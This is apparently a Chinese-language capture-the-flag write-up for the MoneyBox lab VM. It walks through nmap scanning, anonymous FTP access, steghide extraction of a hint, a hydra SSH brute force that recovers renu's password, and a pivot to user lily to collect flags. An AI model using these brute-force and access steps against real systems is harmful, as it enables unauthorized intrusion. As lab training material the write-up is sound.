┌──(kali㉿kali)-[~] └─$ sudo arp-scan 192.168.56.1/24 1 ⨯ [sudo] password for kali: Interface: eth0, type: EN10MB, MAC: 08:00:27:43:73:bc, IPv4: 192.168.56.104 WARNING: host part of 192.168.56.1/24 is non-zero Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:0e (Unknown: locally administered) 192.168.56.100 08:00:27:59:03:27 PCS Systemtechnik GmbH 192.168.56.103 08:00:27:0f:86:5f PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 2.133 seconds (120.02 hosts/sec). 3 responded
0x02.信息收集
发现了IP地址,接下来进行端口扫描。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[~] └─$ sudo nmap -p- 192.168.56.103 [sudo] password for kali: Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 02:02 EDT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.103 Host is up (0.00052s latency). Not shown: 65532 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:0F:86:5F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.12 seconds
可以看到开放了21、22、80端口,接下来进行banner收集,查看每个端口对应的服务及版本信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿kali)-[~] └─$ sudo nmap -sV 192.168.56.103 Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 02:07 EDT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.103 Host is up (0.00015s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 08:00:27:0F:86:5F (Oracle VirtualBox virtual NIC) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sC -p21,22,80 192.168.56.103 Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 02:09 EDT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.103 Host is up (0.00045s latency).
PORT STATE SERVICE 21/tcp open ftp | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.56.104 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh | ssh-hostkey: | 2048 1e:30:ce:72:81:e0:a2:3d:5c:28:88:8b:12:ac:fa:ac (RSA) | 256 01:9d:fa:fb:f2:06:37:c0:12:fc:01:8b:24:8f:53:ae (ECDSA) |_ 256 2f:34:b3:d0:74:b4:7f:8d:17:d2:37:b1:2e:32:f7:eb (ED25519) 80/tcp open http |_http-title: MoneyBox MAC Address: 08:00:27:0F:86:5F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
0x03.FTP匿名登入
之前获取到了FTP服务存在匿名登入,所以接下来进行登入
1 2 3 4 5 6 7 8 9 10
┌──(kali㉿kali)-[~] └─$ ftp 192.168.56.103 Connected to 192.168.56.103. 220 (vsFTPd 3.0.3) Name (192.168.56.103:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg 226 Directory send OK. ftp>pwd 257 "/" is the current directory ftp>cd / 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg 226 Directory send OK. ftp>
下载trytofind.jpg进行分析,图片如下,没什么可用信息!(其实还有,下一步再说:)
1 2 3 4 5 6
ftp> get trytofind.jpg local: trytofind.jpg remote: trytofind.jpg 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for trytofind.jpg (1093656 bytes). 226 Transfer complete. 1093656 bytes received in 0.05 secs (21.3356 MB/s)
┌──(kali㉿kali)-[~] └─$ steghide info trytofind.jpg "trytofind.jpg": format: jpeg capacity: 64.2 KB Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file "data.txt": size: 136.0 Byte encrypted: no compressed: no
可以看到图片中存在一个data.txt文件,把他提取出来。根据提示,renu用户存在弱口令
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[~] └─$ steghide extract -sf trytofind.jpg Enter passphrase: wrote extracted data to "data.txt". ┌──(kali㉿kali)-[~] └─$ cat data.txt Hello..... renu
I tell you something Important.Your Password is too Week So Change Your Password Don't Underestimate it.......
0x06.爆破renu
根据提示信息,对renu进行爆破,得到密码为987654321
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[~] └─$ hydra -l renu -P ./rockyou.txt ssh://192.168.56.103 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-26 04:00:35 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.56.103:22/ [22][ssh] host: 192.168.56.103 login: renu password: 987654321 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 5 final worker threads did not complete until end. [ERROR] 5 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-10-26 04:00:56
┌──(kali㉿kali)-[~] └─$ ssh renu@192.168.56.103 255 ⨯ The authenticity of host '192.168.56.103 (192.168.56.103)' can't be established. ECDSA key fingerprint is SHA256:8GzSoXjLv35yJ7cQf1EE0rFBb9kLK/K1hAjzK/IXk8I. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.103' (ECDSA) to the list of known hosts. renu@192.168.56.103's password: Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Feb 26 08:53:43 2021 from 192.168.43.44 renu@MoneyBox:~$ ls ftp user1.txt renu@MoneyBox:~$ cat user1.txt Yes...! You Got it User1 Flag
renu@MoneyBox:~$ sudo -s [sudo] password for renu: renu is not in the sudoers file. This incident will be reported. renu@MoneyBox:~$ history 1 cler 2 ls 3 ls -la 4 cd /home 5 ls 6 clear 7 cd 8 ls 9 ls -la 10 exit 11 clear 12 ls 13 ls -la 14 cd /home 15 ls 16 cd lily 17 ls 18 ls -la 19 clear 20 cd 21 clear 22 ssh-keygen -t rsa 23 clear 24 cd .ssh 25 ls 26 ssh-copy-id lily@192.168.43.80 27 clear 28 cd 29 cd - 30 ls -l 31 chmod 400 id_rsa 32 ls -l 33 ssh -i id_rsa lily@192.168.43.80 34 clear 35 ssh -i id_rsa lily@192.168.43.80 36 cd 37 clear 38 cd .ssh/ 39 ls 40 ssh -i id_rsa lily@192.168.43.80 41 su lily 42 clear 43 cd 44 sudo apt install openssh 45 sudo apt update 46 sudo apt install openssh-server 47 sudo service ssh start 48 sudo service ssh status 49 clear 50 cd /etc/ 51 ls 52 cd ssh 53 ls 54 nano ssh_config 55 ls 56 nano sshd_config 57 clear 58 cd 59 ls 60 ls -la 61 chsh bash 62 chsh 63 clear 64 su root 65 clear 66 sudo apt install openssh 67 su root 68 exit 69 ls 70 cat user1.txt renu@MoneyBox:~$
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Oct 24 06:32:41 2021 from 192.168.56.103 lily@MoneyBox:~$ whoami lily lily@MoneyBox:~$ id uid=1000(lily) gid=1000(lily) groups=1000(lily),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) lily@MoneyBox:~$ ls user2.txt lily@MoneyBox:~$ cat user2.txt Yeah..... You Got a User2 Flag